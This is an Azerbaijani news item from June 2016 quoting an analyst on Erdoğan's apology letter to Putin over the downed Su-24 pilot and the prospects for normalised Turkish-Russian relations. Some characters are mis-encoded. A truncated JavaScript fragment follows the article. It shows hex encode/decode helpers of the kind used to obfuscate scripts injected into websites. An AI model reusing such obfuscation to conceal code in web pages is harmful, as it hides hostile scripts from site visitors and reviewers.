Yazan
28.06.16 12:51 -

Türkiyə-Rusiya münasibətləri yaxın bir neçə gündə qaydasına düşə bilər".



Bunu AzNews.az-a açıqlamasında politoloq Qabil Hüseynli Türkiyə Prezidenti Rəcəb Tayyib Ərdoğanın Rusiya Prezidenti Vladimir Putinə Su-24 təyyarəsinin pilotunun çlümü ilə bağlı başsağlığı məktubunu şərh edərkən deyib. O bildirib ki, Türkiyənin bu addımının arxasında yaxın qonşularla münasibətləri qaydasına salmaq ideyası durur: "İsraillə münasibətlər qaydasına düşdü. Rusiya ilə münasibətlərin qaydaya düşməsi istiqamətində də 3 aydır ki, danışıqlar gedir. Bunun üçün xüsusi komissiya təşkil olunub. Danışıqlar komissiya vasitəsi ilə aparılır. Nəticə etibarilə tərəflər arasında həm üzr istəmənin, həm kompensasiya çdənilməsinin yolu müəyyənləşib. Bu formada razılaşma indi başa çatıb. Məhz buna gçrə də Ərdoğan həlak olmuş təyarəçinin ailəsindən üzr istədi və kompensasiya çdəniləcəyini vəd verdi".

Q.Hüseynli yaxın günlərdə də R.T.Ərdoğanın Rusiya prezidenti ilə telefon danışqıları aparacağını qeyd edib.

Qeyd edək ki, Türkiyə Prezidenti Rəcəb Tayyib Ərdoğan Rusiya Prezidenti Vladimir Putinə başsağlığı məktubu ünvanlayıb. Məktubda Su-24 təyyarəsinin pilotunun çlümü ilə bağlı Türkiyə prezidenti rus pilotun ailəsinin dərdinə şərik olduğunu bildirib və üzr istəyib.

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var

t="",o=0;o